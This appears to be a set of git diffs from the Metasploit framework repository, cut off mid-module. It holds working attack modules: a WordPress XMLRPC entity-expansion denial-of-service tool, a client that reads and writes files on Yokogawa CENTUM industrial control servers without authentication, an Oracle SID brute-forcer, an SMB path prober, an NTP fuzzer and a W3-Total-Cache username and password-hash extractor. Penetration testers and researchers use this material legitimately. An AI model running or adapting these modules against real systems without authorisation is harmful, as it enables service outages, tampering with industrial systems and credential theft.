print_status("Starting brute force on #{rhost}, using sids from #{list}...")
|
||||
|
||||
fd = File.open(list, 'rb').each do |sid|
|
||||
fd = ::File.open(list, 'rb').each do |sid|
|
||||
login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))"
|
||||
pkt = tns_packet(login)
|
||||
|
||||
begin
|
||||
connect
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue => e
|
||||
print_error(e.to_s)
|
||||
disconnect
|
||||
|
@ -55,12 +57,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
sock.put(pkt)
|
||||
select(nil,nil,nil,s.to_i)
|
||||
res = sock.get_once(-1,3)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if ( res and res =~ /ERROR_STACK/ )
|
||||
''
|
||||
else
|
||||
if res and res.to_s !~ /ERROR_STACK/
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
|
@ -70,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
print_status("Done with brute force...")
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Yokogawa BKBCopyD.exe Client',
|
||||
'Description' => %q{
|
||||
This module allows an unauthenticated user to interact with the Yokogawa
|
||||
CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR
|
||||
operations.
|
||||
},
|
||||
'Author' =>
|
||||
[ 'Unknown' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access']
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
['PMODE', { 'Description' => 'Leak the current database' }],
|
||||
['RETR', { 'Description' => 'Retrieve remote file' }],
|
||||
['STOR', { 'Description' => 'Store remote file' }]
|
||||
],
|
||||
'DisclosureDate' => 'Aug 9 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(20111),
|
||||
OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]),
|
||||
OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def srvport
|
||||
@srvport
|
||||
end
|
||||
|
||||
def run
|
||||
exploit
|
||||
end
|
||||
|
||||
def exploit
|
||||
@srvport = rand(1024..65535)
|
||||
print_status("#{@srvport}")
|
||||
# We make the client connection before giving control to the TCP Server
|
||||
# in order to release the src port, so the server can start correctly
|
||||
|
||||
case action.name
|
||||
when 'PMODE'
|
||||
print_status("Sending PMODE packet...")
|
||||
data = "PMODE MR_DBPATH\n"
|
||||
res = send_pkt(data)
|
||||
if res and res =~ /^210/
|
||||
print_good("Success: #{res}")
|
||||
else
|
||||
print_error("Failed...")
|
||||
end
|
||||
return
|
||||
when 'RETR'
|
||||
data = "RETR #{datastore['RPATH']}\n"
|
||||
print_status("Sending RETR packet...")
|
||||
res = send_pkt(data)
|
||||
return unless res and res =~ /^150/
|
||||
when 'STOR'
|
||||
data = "STOR #{datastore['RPATH']}\n"
|
||||
print_status("Sending STOR packet...")
|
||||
res = send_pkt(data)
|
||||
return unless res and res =~ /^150/
|
||||
else
|
||||
print_error("Incorrect action")
|
||||
return
|
||||
end
|
||||
|
||||
super # TCPServer :)
|
||||
end
|
||||
|
||||
def send_pkt(data)
|
||||
connect(true, {'CPORT' => @srvport})
|
||||
sock.put(data)
|
||||
data = sock.get_once
|
||||
disconnect
|
||||
|
||||
return data
|
||||
end
|
||||
|
||||
def valid_response?(data)
|
||||
return false unless !!data
|
||||
return false unless data =~ /500 'yyparse error': command not understood/
|
||||
return true
|
||||
end
|
||||
|
||||
def on_client_connect(c)
|
||||
if action.name == 'STOR'
|
||||
contents = ""
|
||||
File.new(datastore['LPATH'], "rb") { |f| contents = f.read }
|
||||
print_status("#{c.peerhost} - Sending data...")
|
||||
c.put(contents)
|
||||
self.service.close
|
||||
self.service.stop
|
||||
end
|
||||
end
|
||||
|
||||
def on_client_data(c)
|
||||
print_status("#{c.peerhost} - Getting data...")
|
||||
data = c.get_once
|
||||
return unless data
|
||||
if @store_path.blank?
|
||||
@store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH'])
|
||||
print_good("#{@store_path} saved!")
|
||||
else
|
||||
File.open(@store_path, "ab") { |f| f.write(data) }
|
||||
print_good("More data on #{@store_path}")
|
||||
end
|
||||
end
|
||||
|
||||
def on_client_close(c)
|
||||
stop_service
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
@ -33,6 +34,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Author' =>
|
||||
[
|
||||
'patrick',
|
||||
'j0hn__f'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -47,44 +49,56 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
vprint_status("Connecting to the server...")
|
||||
|
||||
def check_path(path)
|
||||
begin
|
||||
connect()
|
||||
smb_login()
|
||||
|
||||
vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
|
||||
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
||||
|
||||
vprint_status("Checking for file/folder #{datastore['RPATH']}...")
|
||||
|
||||
if (fd = simple.open("\\#{datastore['RPATH']}", 'o')) # mode is open only - do not create/append/write etc
|
||||
print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}")
|
||||
fd.close
|
||||
end
|
||||
rescue ::Rex::HostUnreachable
|
||||
vprint_error("Host #{rhost} offline.")
|
||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError
|
||||
vprint_error("Host #{rhost} login error.")
|
||||
if (fd = simple.open("\\#{path}", 'o')) # mode is open only - do not create/append/write etc
|
||||
print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}")
|
||||
fd.close
|
||||
end
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if e.get_error(e.error_code) == "STATUS_FILE_IS_A_DIRECTORY"
|
||||
print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}")
|
||||
elsif e.get_error(e.error_code) == "STATUS_OBJECT_NAME_NOT_FOUND"
|
||||
vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!")
|
||||
elsif e.get_error(e.error_code) == "STATUS_OBJECT_PATH_NOT_FOUND"
|
||||
vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!")
|
||||
elsif e.get_error(e.error_code) == "STATUS_ACCESS_DENIED"
|
||||
case e.get_error(e.error_code)
|
||||
when "STATUS_FILE_IS_A_DIRECTORY"
|
||||
print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}")
|
||||
when "STATUS_OBJECT_NAME_NOT_FOUND"
|
||||
vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
|
||||
when "STATUS_OBJECT_PATH_NOT_FOUND"
|
||||
vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
|
||||
when "STATUS_ACCESS_DENIED"
|
||||
vprint_error("Host #{rhost} reports access denied.")
|
||||
elsif e.get_error(e.error_code) == "STATUS_BAD_NETWORK_NAME"
|
||||
when "STATUS_BAD_NETWORK_NAME"
|
||||
vprint_error("Host #{rhost} is NOT connected to #{datastore['SMBDomain']}!")
|
||||
elsif e.get_error(e.error_code) == "STATUS_INSUFF_SERVER_RESOURCES"
|
||||
when "STATUS_INSUFF_SERVER_RESOURCES"
|
||||
vprint_error("Host #{rhost} rejected with insufficient resources!")
|
||||
when "STATUS_OBJECT_NAME_INVALID"
|
||||
vprint_error("opeining \\#{path} bad filename")
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("Connecting to the server...")
|
||||
|
||||
begin
|
||||
connect
|
||||
smb_login
|
||||
|
||||
vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
|
||||
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
||||
vprint_status("Checking for file/folder #{datastore['RPATH']}...")
|
||||
|
||||
datastore['RPATH'].each_line do |path|
|
||||
check_path(path.chomp)
|
||||
end #end do
|
||||
rescue ::Rex::HostUnreachable
|
||||
vprint_error("Host #{rhost} offline.")
|
||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError
|
||||
print_error("Host #{rhost} login error.")
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error "Host #{rhost} unable to connect - connection refused"
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
print_error "Host #{rhost} unable to connect to share #{datastore['SMBSHARE']}"
|
||||
end # end begin
|
||||
end # end def
|
||||
end
|
||||
|
|
|
@ -0,0 +1,178 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wordpress XMLRPC DoS',
|
||||
'Description' => %q{
|
||||
Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.
|
||||
This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are
|
||||
also patched).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Nir Goldshlager', # advisory
|
||||
'Christian Mehlmauer' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://wordpress.org/news/2014/08/wordpress-3-9-2/'],
|
||||
['URL', 'http://www.breaksec.com/?p=6362'],
|
||||
['URL', 'http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/'],
|
||||
['URL', 'https://core.trac.wordpress.org/changeset/29404']
|
||||
],
|
||||
'DisclosureDate'=> 'Aug 6 2014'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]),
|
||||
OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def rlimit
|
||||
datastore['RLIMIT']
|
||||
end
|
||||
|
||||
def default_limit
|
||||
datastore['DEFAULT_LIMIT']
|
||||
end
|
||||
|
||||
def fingerprint_step
|
||||
datastore['FINGERPRINT_STEP']
|
||||
end
|
||||
|
||||
def fingerprint
|
||||
memory_to_use = fingerprint_step
|
||||
# try out the available memory in steps
|
||||
# apache will return a server error if the limit is reached
|
||||
while memory_to_use < 1024
|
||||
vprint_status("#{peer} - trying memory limit #{memory_to_use}MB")
|
||||
opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_xmlrpc,
|
||||
'data' => generate_xml(memory_to_use),
|
||||
'ctype' =>'text/xml'
|
||||
}
|
||||
|
||||
begin
|
||||
# low timeout because the server error is returned immediately
|
||||
res = send_request_cgi(opts, timeout = 3)
|
||||
rescue ::Rex::ConnectionError => exception
|
||||
print_error("#{peer} - unable to connect: '#{exception.message}'")
|
||||
break
|
||||
end
|
||||
|
||||
if res && res.code == 500
|
||||
# limit reached, return last limit
|
||||
last_limit = memory_to_use - fingerprint_step
|
||||
vprint_status("#{peer} - got an error - using limit #{last_limit}MB")
|
||||
return last_limit
|
||||
else
|
||||
memory_to_use += fingerprint_step
|
||||
end
|
||||
end
|
||||
|
||||
# no limit can be determined
|
||||
print_warning("#{peer} - can not determine limit, will use default of #{default_limit}")
|
||||
return default_limit
|
||||
end
|
||||
|
||||
def generate_xml(size)
|
||||
entity = Rex::Text.rand_text_alpha(3)
|
||||
doctype = Rex::Text.rand_text_alpha(6)
|
||||
param_value_1 = Rex::Text.rand_text_alpha(5)
|
||||
param_value_2 = Rex::Text.rand_text_alpha(5)
|
||||
|
||||
size_bytes = size * 1024
|
||||
|
||||
# Wordpress only resolves one level of entities so we need
|
||||
# to specify one long entity and reference it multiple times
|
||||
xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
|
||||
xml << "<!DOCTYPE %{doctype} ["
|
||||
xml << "<!ENTITY %{entity} \"%{entity_value}\">"
|
||||
xml << ']>'
|
||||
xml << '<methodCall>'
|
||||
xml << '<methodName>'
|
||||
xml << "%{payload}"
|
||||
xml << '</methodName>'
|
||||
xml << '<params>'
|
||||
xml << "<param><value>%{param_value_1}</value></param>"
|
||||
xml << "<param><value>%{param_value_2}</value></param>"
|
||||
xml << '</params>'
|
||||
xml << '</methodCall>'
|
||||
|
||||
empty_xml = xml % {
|
||||
:doctype => '',
|
||||
:entity => '',
|
||||
:entity_value => '',
|
||||
:payload => '',
|
||||
:param_value_1 => '',
|
||||
:param_value_2 => ''
|
||||
}
|
||||
|
||||
space_to_fill = size_bytes - empty_xml.size
|
||||
vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes")
|
||||
|
||||
payload = "&#{entity};" * (space_to_fill / 6)
|
||||
entity_value_length = space_to_fill - payload.length
|
||||
|
||||
payload_xml = xml % {
|
||||
:doctype => doctype,
|
||||
:entity => entity,
|
||||
:entity_value => Rex::Text.rand_text_alpha(entity_value_length),
|
||||
:payload => payload,
|
||||
:param_value_1 => param_value_1,
|
||||
:param_value_2 => param_value_2
|
||||
}
|
||||
|
||||
payload_xml
|
||||
end
|
||||
|
||||
def run
|
||||
# get the max size
|
||||
print_status("#{peer} - trying to fingerprint the maximum memory we could use")
|
||||
size = fingerprint
|
||||
print_status("#{peer} - using #{size}MB as memory limit")
|
||||
|
||||
# only generate once
|
||||
xml = generate_xml(size)
|
||||
|
||||
for x in 1..rlimit
|
||||
print_status("#{peer} - sending request ##{x}...")
|
||||
opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_xmlrpc,
|
||||
'data' => xml,
|
||||
'ctype' =>'text/xml'
|
||||
}
|
||||
begin
|
||||
c = connect
|
||||
r = c.request_cgi(opts)
|
||||
c.send_request(r)
|
||||
# Don't wait for a response, can take very long
|
||||
rescue ::Rex::ConnectionError => exception
|
||||
print_error("#{peer} - unable to connect: '#{exception.message}'")
|
||||
return
|
||||
ensure
|
||||
disconnect(c) if c
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
def get_pkt
|
||||
buf = sock.get
|
||||
buf = sock.get_once(-1, 10)
|
||||
vprint_status("[in ] #{buf.inspect}")
|
||||
buf
|
||||
end
|
||||
|
|
|
@ -0,0 +1,215 @@
|
|||
# encoding: UTF-8
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ntp'
|
||||
require 'securerandom'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NTP Protocol Fuzzer',
|
||||
'Description' => %q(
|
||||
A simplistic fuzzer for the Network Time Protocol that sends the
|
||||
following probes to understand NTP and look for anomalous NTP behavior:
|
||||
|
||||
* All possible combinations of NTP versions and modes, even if not
|
||||
allowed or specified in the RFCs
|
||||
* Short versions of the above
|
||||
* Short, invalid datagrams
|
||||
* Full-size, random datagrams
|
||||
* All possible NTP control messages
|
||||
* All possible NTP private messages
|
||||
|
||||
This findings of this fuzzer are not necessarily indicative of bugs,
|
||||
let alone vulnerabilities, rather they point out interesting things
|
||||
that might deserve more attention. Furthermore, this module is not
|
||||
particularly intelligent and there are many more areas of NTP that
|
||||
could be explored, including:
|
||||
|
||||
* Warn if the response is 100% identical to the request
|
||||
* Warn if the "mode" (if applicable) doesn't align with what we expect,
|
||||
* Filter out the 12-byte mode 6 unsupported opcode errors.
|
||||
* Fuzz the control message payload offset/size/etc. There be bugs
|
||||
),
|
||||
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(123),
|
||||
OptInt.new('SLEEP', [true, 'Sleep for this many ms between requests', 0]),
|
||||
OptInt.new('WAIT', [true, 'Wait this many ms for responses', 250])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('VERSIONS', [false, 'Specific versions to fuzz (csv)', '2,3,4']),
|
||||
OptString.new('MODES', [false, 'Modes to fuzz (csv)', nil]),
|
||||
OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)', nil]),
|
||||
OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)', nil]),
|
||||
OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def sleep_time
|
||||
datastore['SLEEP'] / 1000.0
|
||||
end
|
||||
|
||||
def check_and_set(setting)
|
||||
thing = setting.upcase
|
||||
const_name = thing.to_sym
|
||||
var_name = thing.downcase
|
||||
if datastore.key?(thing)
|
||||
instance_variable_set("@#{var_name}", datastore[thing].split(/[^\d]/).select { |v| !v.empty? }.map { |v| v.to_i })
|
||||
unsupported_things = instance_variable_get("@#{var_name}") - Rex::Proto::NTP.const_get(const_name)
|
||||
fail "Unsupported #{thing}: #{unsupported_things}" unless unsupported_things.empty?
|
||||
else
|
||||
instance_variable_set("@#{var_name}", Rex::Proto::NTP.const_get(const_name))
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# check and set the optional advanced options
|
||||
check_and_set('VERSIONS')
|
||||
check_and_set('MODES')
|
||||
check_and_set('MODE_6_OPERATIONS')
|
||||
check_and_set('MODE_7_IMPLEMENTATIONS')
|
||||
check_and_set('MODE_7_REQUEST_CODES')
|
||||
|
||||
connect_udp
|
||||
fuzz_version_mode(ip, true)
|
||||
fuzz_version_mode(ip, false)
|
||||
fuzz_short(ip)
|
||||
fuzz_random(ip)
|
||||
fuzz_control(ip) if @modes.include?(6)
|
||||
fuzz_private(ip) if @modes.include?(7)
|
||||
disconnect_udp
|
||||
end
|
||||
|
||||
# Sends a series of NTP control messages
|
||||
def fuzz_control(host)
|
||||
@versions.each do |version|
|
||||
print_status("#{host}:#{rport} fuzzing version #{version} control messages (mode 6)")
|
||||
@mode_6_operations.each do |op|
|
||||
request = Rex::Proto::NTP.ntp_control(version, op)
|
||||
what = "#{request.size}-byte version #{version} mode 6 op #{op} message"
|
||||
vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}")
|
||||
responses = probe(host, datastore['RPORT'].to_i, request)
|
||||
handle_responses(host, request, responses, what)
|
||||
Rex.sleep(sleep_time)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Sends a series of NTP private messages
|
||||
def fuzz_private(host)
|
||||
@versions.each do |version|
|
||||
print_status("#{host}:#{rport} fuzzing version #{version} private messages (mode 7)")
|
||||
@mode_7_implementations.each do |implementation|
|
||||
@mode_7_request_codes.each do |request_code|
|
||||
request = Rex::Proto::NTP.ntp_private(version, implementation, request_code, "\x00" * 188)
|
||||
what = "#{request.size}-byte version #{version} mode 7 imp #{implementation} req #{request_code} message"
|
||||
vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}")
|
||||
responses = probe(host, datastore['RPORT'].to_i, request)
|
||||
handle_responses(host, request, responses, what)
|
||||
Rex.sleep(sleep_time)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Sends a series of small, short datagrams, looking for a reply
|
||||
def fuzz_short(host)
|
||||
print_status("#{host}:#{rport} fuzzing short messages")
|
||||
0.upto(4) do |size|
|
||||
request = SecureRandom.random_bytes(size)
|
||||
what = "short #{request.size}-byte random message"
|
||||
vprint_status("#{host}:#{rport} probing with #{what}")
|
||||
responses = probe(host, datastore['RPORT'].to_i, request)
|
||||
handle_responses(host, request, responses, what)
|
||||
Rex.sleep(sleep_time)
|
||||
end
|
||||
end
|
||||
|
||||
# Sends a series of random, full-sized datagrams, looking for a reply
|
||||
def fuzz_random(host)
|
||||
print_status("#{host}:#{rport} fuzzing random messages")
|
||||
0.upto(5) do
|
||||
# TODO: is there a better way to pick this size? Should more than one be tried?
|
||||
request = SecureRandom.random_bytes(48)
|
||||
what = "random #{request.size}-byte message"
|
||||
vprint_status("#{host}:#{rport} probing with #{what}")
|
||||
responses = probe(host, datastore['RPORT'].to_i, request)
|
||||
handle_responses(host, request, responses, what)
|
||||
Rex.sleep(sleep_time)
|
||||
end
|
||||
end
|
||||
|
||||
# Sends a series of different version + mode combinations
|
||||
def fuzz_version_mode(host, short)
|
||||
print_status("#{host}:#{rport} fuzzing #{short ? 'short ' : nil}version and mode combinations")
|
||||
@versions.each do |version|
|
||||
@modes.each do |mode|
|
||||
request = Rex::Proto::NTP::NTPGeneric.new
|
||||
request.version = version
|
||||
request.mode = mode
|
||||
unless short
|
||||
# TODO: is there a better way to pick this size? Should more than one be tried?
|
||||
request.payload = SecureRandom.random_bytes(16)
|
||||
end
|
||||
what = "#{request.size}-byte #{short ? 'short ' : nil}version #{version} mode #{mode} message"
|
||||
vprint_status("#{host}:#{rport} probing with #{what}")
|
||||
responses = probe(host, datastore['RPORT'].to_i, request)
|
||||
handle_responses(host, request, responses, what)
|
||||
Rex.sleep(sleep_time)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Sends +message+ to +host+ on UDP port +port+, returning all replies
|
||||
def probe(host, port, message)
|
||||
replies = []
|
||||
udp_sock.sendto(message, host, port, 0)
|
||||
reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)
|
||||
while reply && reply[1]
|
||||
replies << reply
|
||||
reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)
|
||||
end
|
||||
replies
|
||||
end
|
||||
|
||||
def handle_responses(host, request, responses, what)
|
||||
problems = []
|
||||
descriptions = []
|
||||
responses.select! { |r| r[1] }
|
||||
return if responses.empty?
|
||||
responses.each do |response|
|
||||
data = response[0]
|
||||
descriptions << Rex::Proto::NTP.describe(data)
|
||||
problems << 'large response' if request.size < data.size
|
||||
ntp_req = Rex::Proto::NTP::NTPGeneric.new(request)
|
||||
ntp_resp = Rex::Proto::NTP::NTPGeneric.new(data)
|
||||
problems << 'version mismatch' if ntp_req.version != ntp_resp.version
|
||||
end
|
||||
|
||||
problems << 'multiple responses' if responses.size > 1
|
||||
problems.sort!
|
||||
problems.uniq!
|
||||
|
||||
description = descriptions.join(',')
|
||||
if problems.empty?
|
||||
vprint_status("#{host}:#{rport} -- Received '#{description}' to #{what}")
|
||||
else
|
||||
print_good("#{host}:#{rport} -- Received '#{description}' to #{what}: #{problems.join(',')}")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -6,8 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
@ -15,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract',
|
||||
'Description' =>
|
||||
"The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements
|
||||
"The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements
|
||||
and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards
|
||||
so it can be vulnerable. These cache files are in the webroot of the Wordpress
|
||||
installation and can be downloaded if the name is guessed. This modules tries to
|
||||
|
@ -25,76 +24,81 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '88744'],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
|
||||
['OSVDB', '88744'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Christian Mehlmauer', # Metasploit module
|
||||
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
|
||||
'Christian Mehlmauer', # Metasploit module
|
||||
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
|
||||
]
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'Wordpress root', '/']),
|
||||
OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']),
|
||||
OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]),
|
||||
OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]),
|
||||
OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content'])
|
||||
OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']),
|
||||
OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]),
|
||||
OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def wordpress_url
|
||||
url = target_uri
|
||||
url.path << "/" if url.path[-1,1] != "/"
|
||||
url
|
||||
def table_prefix
|
||||
datastore['TABLE_PREFIX']
|
||||
end
|
||||
|
||||
def site_iterations
|
||||
datastore['SITE_ITERATIONS']
|
||||
end
|
||||
|
||||
def user_iterations
|
||||
datastore['USER_ITERATIONS']
|
||||
end
|
||||
|
||||
# Call the User site, so the db statement will be cached
|
||||
def cache_user_info(user_id)
|
||||
user_url = normalize_uri(wordpress_url)
|
||||
user_url = normalize_uri(target_uri)
|
||||
begin
|
||||
send_request_cgi(
|
||||
{
|
||||
"uri" => user_url,
|
||||
"method" => "GET",
|
||||
"vars_get" => {
|
||||
"author" => user_id.to_s
|
||||
}
|
||||
})
|
||||
'uri' => user_url,
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'author' => user_id.to_s
|
||||
}
|
||||
)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
vprint_error("Unable to connect to #{url}")
|
||||
return nil
|
||||
vprint_error("Unable to connect to #{user_url}")
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
vprint_error("Unable to connect to #{url}")
|
||||
return nil
|
||||
vprint_error("Unable to connect to #{user_url}")
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
users_found = false
|
||||
|
||||
for site_id in 1..datastore["SITE_ITERATIONS"] do
|
||||
(1..site_iterations).each do |site_id|
|
||||
|
||||
vprint_status("Trying site_id #{site_id}...")
|
||||
for user_id in 1..datastore["USER_ITERATIONS"] do
|
||||
|
||||
(1..user_iterations).each do |user_id|
|
||||
|
||||
vprint_status("Trying user_id #{user_id}...")
|
||||
|
||||
# used to cache the statement
|
||||
cache_user_info(user_id)
|
||||
query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'"
|
||||
query = "SELECT * FROM #{table_prefix}users WHERE ID = '#{user_id}'"
|
||||
query_md5 = ::Rex::Text.md5(query)
|
||||
host = datastore["VHOST"] || ip
|
||||
key="w3tc_#{host}_#{site_id}_sql_#{query_md5}"
|
||||
host = datastore['VHOST'] || ip
|
||||
key = "w3tc_#{host}_#{site_id}_sql_#{query_md5}"
|
||||
key_md5 = ::Rex::Text.md5(key)
|
||||
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
|
||||
